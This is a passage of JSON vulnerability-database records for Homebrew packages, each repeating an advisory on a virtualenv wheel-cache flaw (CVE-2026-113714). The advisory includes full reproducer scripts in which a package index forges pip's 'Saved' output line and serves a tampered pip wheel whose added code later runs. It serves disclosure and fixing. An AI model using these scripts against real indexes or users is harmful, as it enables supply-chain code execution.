choice.\n\nusage: index_forges_saved_line.py \u003cindex_dir\u003e\n\nAdds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1.\n\"\"\"\n\nimport shutil\nimport sys\nfrom pathlib import Path\n\n# a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user\u0027s disk: the wheel virtualenv bundles for Python 3.9,\n# at the same path for every user of this image\nGENUINE_WHEEL_ON_USERS_DISK = \"/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl\"\n\nindex_dir = Path(sys.argv[1])\n\n# named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with\n# \"Discarding \u003clink\u003e (requires-python:\u003cattribute\u003e): ... has inconsistent version\" on stdout\nshutil.copy(index_dir / \"files\" / \"pip-26.2.1-py3-none-any.whl\", index_dir / \"files\" / \"pip-100.0-py3-none-any.whl\")\n\n# pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; \u0026#10; is a line feed\nwith (index_dir / \"simple\" / \"pip\" / \"index.html\").open(\"a\") as page:\n    page.write(\n        \u0027\u003ca href=\"/files/pip-100.0-py3-none-any.whl\"\u0027\n        f\u0027 data-requires-python=\"\u0026#10;Saved {GENUINE_WHEEL_ON_USERS_DISK}\u0026#10;\"\u003epip-100.0-py3-none-any.whl\u003c/a\u003e\\n\u0027\n    )\n```\n\n**`repro.d/index_serves_modified_pip.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user\u0027s pip.conf names: serve a modified pip under a genuine name.\n\nusage: index_serves_modified_pip.py \u003cindex_dir\u003e\n\npip 26.0.1 on the index gets one more line of code in pip/__init__.py and becomes the only pip on offer. On its own,\nvirtualenv\u0027s comparison with PyPI\u0027s SHA-256 catches this.\n\"\"\"\n\nimport hashlib\nimport io\nimport sys\nimport zipfile\nfrom pathlib import Path\n\nADDED_CODE = b\u0027\\nprint(\"code added by the index runs as uid\", __import__(\"os\").getuid())\\n\u0027\n\nindex_dir = Path(sys.argv[1])\nwheel = index_dir / \"files\" / \"pip-26.0.1-py3-none-any.whl\"\n\ngenuine = zipfile.ZipFile(io.BytesIO(wheel.read_bytes()))\nwith zipfile.ZipFile(wheel, \"w\") as modified:\n    for entry in genuine.infolist():\n        content = genuine.read(entry)\n        if entry.filename == \"pip/__init__.py\":\n            content += ADDED_CODE\n        modified.writestr(entry, content)\n\n# the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip\u0027s\n# download folder first, and pip replaces a file of the same name there only when the link\u0027s digest differs\nsha256 = hashlib.sha256(wheel.read_bytes()).hexdigest()\n(index_dir / \"simple\" / \"pip\" / \"index.html\").write_text(\n    f\u0027\u003c!DOCTYPE html\u003e\\n\u003ca href=\"/files/{wheel.name}#sha256={sha256}\"\u003e{wheel.name}\u003c/a\u003e\\n\u0027\n)\n```\n\n**`repro.d/pip.conf`**\n\n```text\n[global]\nindex-url = http://127.0.0.1:8099/simple\n```\n\n**`repro.d/pypi_json_and_mirror.py`**\n\n```text\n\"\"\"Setup: what PyPI\u0027s JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.\n\nusage: pypi_json_and_mirror.py \u003cpypi_dir\u003e \u003cindex_dir\u003e\n\nThe wheels bundled with virtualenv are genuine PyPI files. \u003cpypi_dir\u003e/\u003cproject\u003e.json is what\nhttps://pypi.org/pypi/\u003cproject\u003e/json answers for them, with the digests of virtualenv\u0027s BUNDLE_SHA256 table.\n\u003cindex_dir\u003e is a PEP 503 tree (simple/\u003cproject\u003e/index.html, files/) that offers exactly these files.\n\"\"\"\n\nimport json\nimport shutil\nimport sys\nimport zipfile\nfrom email.parser import HeaderParser\nfrom html import escape\nfrom pathlib import Path\n\nfrom virtualenv.seed.wheels.embed import BUNDLE_FOLDER, BUNDLE_SHA256\n\npypi_dir, index_dir = Path(sys.argv[1]), Path(sys.argv[2])\npypi_dir.mkdir()\n(index_dir / \"files\").mkdir(parents=True)\n\nfor project in (\"pip\", \"setuptools\"):\n    releases, links = {}, []\n    for filename, sha256 in BUNDLE_SHA256.items():\n        name, version = filename.split(\"-\")[:2]\n        if name != project:\n            continue\n        shutil.copy(BUNDLE_FOLDER / filename, index_dir / \"files\")\n        releases[version] = [{\"filename\": filename, \"digests\": {\"sha256\": sha256}, \"upload_time\": \"2026-01-01T00:00:00\"}]\n        with zipfile.ZipFile(BUNDLE_FOLDER / filename) as wheel:\n            metadata = HeaderParser().parsestr(wheel.read(f\"{name}-{version}.dist-info/METADATA\").decode())\n        requires_python = escape(metadata[\"Requires-Python\"])\n        links.append(f\u0027\u003ca href=\"/files/{filename}#sha256={sha256}\" data-requires-python=\"{requires_python}\"\u003e{filename}\u003c/a\u003e\u0027)\n    (pypi_dir / f\"{project}.json\").write_text(json.dumps({\"releases\": releases}))\n    (index_dir / \"simple\" / project).mkdir(parents=True)\n    (index_dir / \"simple\" / project / \"index.html\").write_text(\"\u003c!DOCTYPE html\u003e\\n\" + \"\\n\".join(links) + \"\\n\")\n```\n\n**`repro.d/virtualenv_with_local_pypi_json.py`**\n\n```text\n\"\"\"Setup: the virtualenv command line, with PyPI\u0027s JSON API answered from local files because there is no network.\n\nusage: virtualenv_with_local_pypi_json.py \u003cpypi_dir\u003e \u003cvirtualenv arguments...\u003e\n\nOnly the request for https://pypi.org/pypi/\u003cproject\u003e/json is replaced: it is answered from \u003cpypi_dir\u003e/\u003cproject\u003e.json.\npip, the index pip talks to and the rest of virtualenv are the real thing.\n\"\"\"\n\nimport sys\nfrom pathlib import Path\nfrom unittest import mock\n\nfrom virtualenv.__main__ import run_with_catch\n\npypi_dir = Path(sys.argv[1])\n\n\ndef pypi_json_api(url, context):\n    assert url.startswith(\"https://pypi.org/pypi/\") and context is None, url\n    project = url.split(\"/\")[4]\n    return (pypi_dir / f\"{project}.json\").open(\"rb\")\n\n\nwith mock.patch(\"virtualenv.seed.wheels.periodic_update.urlopen\", pypi_json_api):\n    run_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nA file rejected during download verification can remain available for later cache selection. Exploitation requires\nadditional control over the downloaded data or archive selection; this finding alone does not bypass TLS.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix downloads into a private temporary directory and verifies archive identity, requested version, digest\nwhere applicable, and Python compatibility before promoting a wheel into the reusable cache.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nAfter a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing\nunexpected download failures.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-ST00DRO3.",
  "id": "BREW-pre-commit-CVE-2026-113714",
  "modified": "2026-10-29T22:35:11Z",
  "published": "2026-10-26T09:58:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-494p-63j8-28p3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113714"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/pull/3430"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pypa/virtualenv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "virtualenv: Downloaded wheel selection and caching precede verification",
  "upstream": [
    "GHSA-494p-63j8-28p3",
    "CVE-2026-113714",
    "BIT-virtualenv-2026-113714"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "virtualenv",
        "resource_purl": "pkg:pypi/virtualenv@21.14.13",
        "upstream_fixed_in": "21.14.9"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "sickchill",
        "purl": "pkg:brew/sickchill"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2026.10.8"
            },
            {
              "fixed": "2026.10.8_1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/virtualenv@21.14.13",
        "name": "virtualenv",
        "resource": "virtualenv",
        "strategy": "registry",
        "subject_version": "21.14.13"
      }
    ]
  },
  "details": "## Summary\n\nWheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip\u0027s textual\noutput. A verification failure does not remove the downloaded file from that cache.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-ST00DRO3` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDownload selection and promotion into the reusable wheel cache.\n\n## Attacker-controlled input\n\nA download must fail verification, or the archive selected from pip output must differ from the file later reused.\nDefault-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI\ncomparison.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[wheel download and digest check](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/wheels/acquire.py).\n\n## Mechanism\n\n`download_wheel()` tells pip to write directly into the reusable `wheel/house` cache. It then selects a path to hash\nfrom the first `Saved ` line in pip\u0027s stdout, rather than from the file pip actually placed there. A package index can\ninject such a line through a discarded link\u0027s `data-requires-python` attribute. A separate failure exists without the\nforged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain\nthere. Later wheel selection does not hash the cached file again.\n\n## Reproduction and evidence\n\nThe scanner used a local index configured in `pip.conf`, with PyPI digest comparison still enabled. In the control case\nit served a modified pip wheel alone. `virtualenv --upgrade-embed-wheels` refused the mismatch, and a subsequent\nenvironment used the bundled pip. In the attack case the index added a link whose `data-requires-python` contained a\nforged `Saved \u003cpath\u003e` line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded\nthe modified wheel in its update log, and a later environment\u0027s `pip --version` ran a line added by the index. The\nreproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.\n\nThe report also shows that a refused wheel can replace a previously accepted file of the same name in `wheel/house`,\nleaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The\ngap follows the digest check added in #3251, first released in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) downloads to a private temporary directory, verifies the actual\narchive, and promotes it only after acceptance.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant I as Configured index\n    participant P as pip download\n    participant C as wheel/house cache\n    participant V as virtualenv digest check\n    participant N as New environment\n    I-\u003e\u003eP: modified wheel and forged Saved line\n    P-\u003e\u003eC: write modified wheel directly\n    P--\u003e\u003eV: stdout names genuine bundled wheel\n    V-\u003e\u003eV: hash genuine wheel and accept\n    V-\u003e\u003eC: record modified wheel for reuse\n    C-\u003e\u003eN: seed modified pip without rehash\n    Note over P,C: Even a rejected wheel can remain in the cache\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-ST00DRO3`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport atexit\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\ncompanions = Path(\"/tmp/repro.d\")\nwork = Path(\"/tmp/forged-saved-line\")\nhome = work / \"home\"\napp_data = home / \".cache\" / \"virtualenv\"\nthis_python = f\"{sys.version_info.major}.{sys.version_info.minor}\"  # the target; each Python has its own update log\nupdate_log_of_pip = app_data / \"wheel\" / this_python / \"embed\" / \"3\" / \"pip.json\"\nvirtualenv = [sys.executable, companions / \"virtualenv_with_local_pypi_json.py\", work / \"pypi\"]\nas_user = {\"cwd\": home, \"env\": {\"HOME\": str(home), \"PATH\": os.environ[\"PATH\"]}, \"capture_output\": True, \"text\": True}\nadded_code_prints = \"code added by the index\"  # the line index_serves_modified_pip.py adds to pip/__init__.py\n\n\ndef user_upgrades_seed_wheels_and_creates_env():\n    # each case starts from an empty app-data\n    shutil.rmtree(app_data, ignore_errors=True)\n    shutil.rmtree(home / \"env\", ignore_errors=True)\n    upgrade = subprocess.run([*virtualenv, \"--upgrade-embed-wheels\"], **as_user)\n    # --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach\n    subprocess.run([*virtualenv, \"--no-periodic-update\", \"env\"], **as_user, check=True)\n    pip_version = subprocess.run([home / \"env\" / \"bin\" / \"python\", \"-m\", \"pip\", \"--version\"], **as_user, check=True)\n    # one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0\n    refusal = next((line for line in upgrade.stderr.splitlines() if \"but PyPI reports\" in line), None)\n    logged = []\n    if update_log_of_pip.exists():  # a failed update writes no log\n        logged = [entry[\"filename\"] for entry in json.loads(update_log_of_pip.read_text())[\"versions\"]]\n    return refusal, logged, pip_version.stdout.splitlines()\n\n\n# set up: PyPI\u0027s answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it\nshutil.rmtree(work, ignore_errors=True)\n(home / \".config\" / \"pip\").mkdir(parents=True)\nshutil.copy(companions / \"pip.conf\", home / \".config\" / \"pip\" / \"pip.conf\")\nsubprocess.run([sys.executable, companions / \"pypi_json_and_mirror.py\", work / \"pypi\", work / \"index\"], check=True)\nindex_server = subprocess.Popen(\n    [sys.executable, \"-u\", \"-m\", \"http.server\", \"8099\", \"--bind\", \"127.0.0.1\", \"--directory\", work / \"index\"],\n    stdout=subprocess.PIPE,\n    stderr=subprocess.DEVNULL,\n    text=True,\n)\natexit.register(index_server.kill)\nassert index_server.stdout.readline().startswith(\"Serving HTTP\"), \"index server did not start\"  # printed once bound\n\n# control: the index serves a modified pip 26.0.1, and virtualenv\u0027s comparison with PyPI\u0027s SHA-256 refuses it\nsubprocess.run([sys.executable, companions / \"index_serves_modified_pip.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nprint(\"CONTROL  modified pip: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"CONTROL  modified pip: update log of pip lists\", logged)\nprint(\"CONTROL  modified pip: pip --version in the new env prints\", pip_says)\ncontrol_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# attack: the index also adds one link, whose data-requires-python puts a \"Saved \u003cpath\u003e\" line into pip\u0027s output\nsubprocess.run([sys.executable, companions / \"index_forges_saved_line.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nstored_wheel = app_data / \"wheel\" / \"house\" / \"pip-26.0.1-py3-none-any.whl\"\nstored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()\npypi_sha256 = json.loads((work / \"pypi\" / \"pip.json\").read_text())[\"releases\"][\"26.0.1\"][0][\"digests\"][\"sha256\"]\nprint(\"OBSERVED + forged line: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"OBSERVED + forged line: update log of pip lists\", logged)\nprint(\"OBSERVED + forged line: sha256 of that wheel in wheel/house:\", stored_sha256)\nprint(\"OBSERVED + forged line: sha256 PyPI publishes for that name:\", pypi_sha256)\nprint(\"OBSERVED + forged line: pip --version in the new env prints\", pip_says)\nattack_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# check: the same modified wheel, refused without the forged line, is seeded with it\nprint(\"BUG\" if attack_ran_added_code and not control_ran_added_code else \"OK\")\n```\n\n**`repro.d/index_forges_saved_line.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user\u0027s pip.conf names: make pip print a \"Saved \u003cpath\u003e\" line of its choice.\n\nusage: index_forges_saved_line.py \u003cindex_dir\u003e\n\nAdds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1.\n\"\"\"\n\nimport shutil\nimport sys\nfrom pathlib import Path\n\n# a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user\u0027s disk: the wheel virtualenv bundles for Python 3.9,\n# at the same path for every user of this image\nGENUINE_WHEEL_ON_USERS_DISK = \"/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl\"\n\nindex_dir = Path(sys.argv[1])\n\n# named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with\n# \"Discarding \u003clink\u003e (requires-python:\u003cattribute\u003e): ... has inconsistent version\" on stdout\nshutil.copy(index_dir / \"files\" / \"pip-26.2.1-py3-none-any.whl\", index_dir / \"files\" / \"pip-100.0-py3-none-any.whl\")\n\n# pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; \u0026#10; is a line feed\nwith (index_dir / \"simple\" / \"pip\" / \"index.html\").open(\"a\") as page:\n    page.write(\n        \u0027\u003ca href=\"/files/pip-100.0-py3-none-any.whl\"\u0027\n        f\u0027 data-requires-python=\"\u0026#10;Saved {GENUINE_WHEEL_ON_USERS_DISK}\u0026#10;\"\u003epip-100.0-py3-none-any.whl\u003c/a\u003e\\n\u0027\n    )\n```\n\n**`repro.d/index_serves_modified_pip.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user\u0027s pip.conf names: serve a modified pip under a genuine name.\n\nusage: index_serves_modified_pip.py \u003cindex_dir\u003e\n\npip 26.0.1 on the index gets one more line of code in pip/__init__.py and becomes the only pip on offer. On its own,\nvirtualenv\u0027s comparison with PyPI\u0027s SHA-256 catches this.\n\"\"\"\n\nimport hashlib\nimport io\nimport sys\nimport zipfile\nfrom pathlib import Path\n\nADDED_CODE = b\u0027\\nprint(\"code added by the index runs as uid\", __import__(\"os\").getuid())\\n\u0027\n\nindex_dir = Path(sys.argv[1])\nwheel = index_dir / \"files\" / \"pip-26.0.1-py3-none-any.whl\"\n\ngenuine = zipfile.ZipFile(io.BytesIO(wheel.read_bytes()))\nwith zipfile.ZipFile(wheel, \"w\") as modified:\n    for entry in genuine.infolist():\n        content = genuine.read(entry)\n        if entry.filename == \"pip/__init__.py\":\n            content += ADDED_CODE\n        modified.writestr(entry, content)\n\n# the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip\u0027s\n# download folder first, and pip replaces a file of the same name there only when the link\u0027s digest differs\nsha256 = hashlib.sha256(wheel.read_bytes()).hexdigest()\n(index_dir / \"simple\" / \"pip\" / \"index.html\").write_text(\n    f\u0027\u003c!DOCTYPE html\u003e\\n\u003ca href=\"/files/{wheel.name}#sha256={sha256}\"\u003e{wheel.name}\u003c/a\u003e\\n\u0027\n)\n```\n\n**`repro.d/pip.conf`**\n\n```text\n[global]\nindex-url = http://127.0.0.1:8099/simple\n```\n\n**`repro.d/pypi_json_and_mirror.py`**\n\n```text\n\"\"\"Setup: what PyPI\u0027s JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.\n\nusage: pypi_json_and_mirror.py \u003cpypi_dir\u003e \u003cindex_dir\u003e\n\nThe wheels bundled with virtualenv are genuine PyPI files. \u003cpypi_dir\u003e/\u003cproject\u003e.json is what\nhttps://pypi.org/pypi/\u003cproject\u003e/json answers for them, with the digests of virtualenv\u0027s BUNDLE_SHA256 table.\n\u003cindex_dir\u003e is a PEP 503 tree (simple/\u003cproject\u003e/index.html, files/) that offers exactly these files.\n\"\"\"\n\nimport json\nimport shutil\nimport sys\nimport zipfile\nfrom email.parser import HeaderParser\nfrom html import escape\nfrom pathlib import Path\n\nfrom virtualenv.seed.wheels.embed import BUNDLE_FOLDER, BUNDLE_SHA256\n\npypi_dir, index_dir = Path(sys.argv[1]), Path(sys.argv[2])\npypi_dir.mkdir()\n(index_dir / \"files\").mkdir(parents=True)\n\nfor project in (\"pip\", \"setuptools\"):\n    releases, links = {}, []\n    for filename, sha256 in BUNDLE_SHA256.items():\n        name, version = filename.split(\"-\")[:2]\n        if name != project:\n            continue\n        shutil.copy(BUNDLE_FOLDER / filename, index_dir / \"files\")\n        releases[version] = [{\"filename\": filename, \"digests\": {\"sha256\": sha256}, \"upload_time\": \"2026-01-01T00:00:00\"}]\n        with zipfile.ZipFile(BUNDLE_FOLDER / filename) as wheel:\n            metadata = HeaderParser().parsestr(wheel.read(f\"{name}-{version}.dist-info/METADATA\").decode())\n        requires_python = escape(metadata[\"Requires-Python\"])\n        links.append(f\u0027\u003ca href=\"/files/{filename}#sha256={sha256}\" data-requires-python=\"{requires_python}\"\u003e{filename}\u003c/a\u003e\u0027)\n    (pypi_dir / f\"{project}.json\").write_text(json.dumps({\"releases\": releases}))\n    (index_dir / \"simple\" / project).mkdir(parents=True)\n    (index_dir / \"simple\" / project / \"index.html\").write_text(\"\u003c!DOCTYPE html\u003e\\n\" + \"\\n\".join(links) + \"\\n\")\n```\n\n**`repro.d/virtualenv_with_local_pypi_json.py`**\n\n```text\n\"\"\"Setup: the virtualenv command line, with PyPI\u0027s JSON API answered from local files because there is no network.\n\nusage: virtualenv_with_local_pypi_json.py \u003cpypi_dir\u003e \u003cvirtualenv arguments...\u003e\n\nOnly the request for https://pypi.org/pypi/\u003cproject\u003e/json is replaced: it is answered from \u003cpypi_dir\u003e/\u003cproject\u003e.json.\npip, the index pip talks to and the rest of virtualenv are the real thing.\n\"\"\"\n\nimport sys\nfrom pathlib import Path\nfrom unittest import mock\n\nfrom virtualenv.__main__ import run_with_catch\n\npypi_dir = Path(sys.argv[1])\n\n\ndef pypi_json_api(url, context):\n    assert url.startswith(\"https://pypi.org/pypi/\") and context is None, url\n    project = url.split(\"/\")[4]\n    return (pypi_dir / f\"{project}.json\").open(\"rb\")\n\n\nwith mock.patch(\"virtualenv.seed.wheels.periodic_update.urlopen\", pypi_json_api):\n    run_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nA file rejected during download verification can remain available for later cache selection. Exploitation requires\nadditional control over the downloaded data or archive selection; this finding alone does not bypass TLS.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix downloads into a private temporary directory and verifies archive identity, requested version, digest\nwhere applicable, and Python compatibility before promoting a wheel into the reusable cache.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nAfter a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing\nunexpected download failures.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-ST00DRO3.",
  "id": "BREW-sickchill-CVE-2026-113714",
  "modified": "2026-10-29T21:44:32Z",
  "published": "2026-10-29T21:44:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-494p-63j8-28p3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113714"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/pull/3430"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pypa/virtualenv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "virtualenv: Downloaded wheel selection and caching precede verification",
  "upstream": [
    "GHSA-494p-63j8-28p3",
    "BIT-virtualenv-2026-113714",
    "CVE-2026-113714"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "virtualenv",
        "resource_purl": "pkg:pypi/virtualenv@21.15.1",
        "upstream_fixed_in": "21.14.9"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "tox",
        "purl": "pkg:brew/tox"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.62.0"
            },
            {
              "fixed": "4.67.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/virtualenv@21.15.1",
        "name": "virtualenv",
        "resource": "virtualenv",
        "strategy": "registry",
        "subject_version": "21.15.1"
      }
    ]
  },
  "details": "## Summary\n\nWheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip\u0027s textual\noutput. A verification failure does not remove the downloaded file from that cache.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-ST00DRO3` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDownload selection and promotion into the reusable wheel cache.\n\n## Attacker-controlled input\n\nA download must fail verification, or the archive selected from pip output must differ from the file later reused.\nDefault-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI\ncomparison.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[wheel download and digest check](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/wheels/acquire.py).\n\n## Mechanism\n\n`download_wheel()` tells pip to write directly into the reusable `wheel/house` cache. It then selects a path to hash\nfrom the first `Saved ` line in pip\u0027s stdout, rather than from the file pip actually placed there. A package index can\ninject such a line through a discarded link\u0027s `data-requires-python` attribute. A separate failure exists without the\nforged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain\nthere. Later wheel selection does not hash the cached file again.\n\n## Reproduction and evidence\n\nThe scanner used a local index configured in `pip.conf`, with PyPI digest comparison still enabled. In the control case\nit served a modified pip wheel alone. `virtualenv --upgrade-embed-wheels` refused the mismatch, and a subsequent\nenvironment used the bundled pip. In the attack case the index added a link whose `data-requires-python` contained a\nforged `Saved \u003cpath\u003e` line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded\nthe modified wheel in its update log, and a later environment\u0027s `pip --version` ran a line added by the index. The\nreproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.\n\nThe report also shows that a refused wheel can replace a previously accepted file of the same name in `wheel/house`,\nleaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The\ngap follows the digest check added in #3251, first released in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) downloads to a private temporary directory, verifies the actual\narchive, and promotes it only after acceptance.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant I as Configured index\n    participant P as pip download\n    participant C as wheel/house cache\n    participant V as virtualenv digest check\n    participant N as New environment\n    I-\u003e\u003eP: modified wheel and forged Saved line\n    P-\u003e\u003eC: write modified wheel directly\n    P--\u003e\u003eV: stdout names genuine bundled wheel\n    V-\u003e\u003eV: hash genuine wheel and accept\n    V-\u003e\u003eC: record modified wheel for reuse\n    C-\u003e\u003eN: seed modified pip without rehash\n    Note over P,C: Even a rejected wheel can remain in the cache\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-ST00DRO3`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport atexit\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\ncompanions = Path(\"/tmp/repro.d\")\nwork = Path(\"/tmp/forged-saved-line\")\nhome = work / \"home\"\napp_data = home / \".cache\" / \"virtualenv\"\nthis_python = f\"{sys.version_info.major}.{sys.version_info.minor}\"  # the target; each Python has its own update log\nupdate_log_of_pip = app_data / \"wheel\" / this_python / \"embed\" / \"3\" / \"pip.json\"\nvirtualenv = [sys.executable, companions / \"virtualenv_with_local_pypi_json.py\", work / \"pypi\"]\nas_user = {\"cwd\": home, \"env\": {\"HOME\": str(home), \"PATH\": os.environ[\"PATH\"]}, \"capture_output\": True, \"text\": True}\nadded_code_prints = \"code added by the index\"  # the line index_serves_modified_pip.py adds to pip/__init__.py\n\n\ndef user_upgrades_seed_wheels_and_creates_env():\n    # each case starts from an empty app-data\n    shutil.rmtree(app_data, ignore_errors=True)\n    shutil.rmtree(home / \"env\", ignore_errors=True)\n    upgrade = subprocess.run([*virtualenv, \"--upgrade-embed-wheels\"], **as_user)\n    # --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach\n    subprocess.run([*virtualenv, \"--no-periodic-update\", \"env\"], **as_user, check=True)\n    pip_version = subprocess.run([home / \"env\" / \"bin\" / \"python\", \"-m\", \"pip\", \"--version\"], **as_user, check=True)\n    # one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0\n    refusal = next((line for line in upgrade.stderr.splitlines() if \"but PyPI reports\" in line), None)\n    logged = []\n    if update_log_of_pip.exists():  # a failed update writes no log\n        logged = [entry[\"filename\"] for entry in json.loads(update_log_of_pip.read_text())[\"versions\"]]\n    return refusal, logged, pip_version.stdout.splitlines()\n\n\n# set up: PyPI\u0027s answers, a faithful mirror of PyPI on 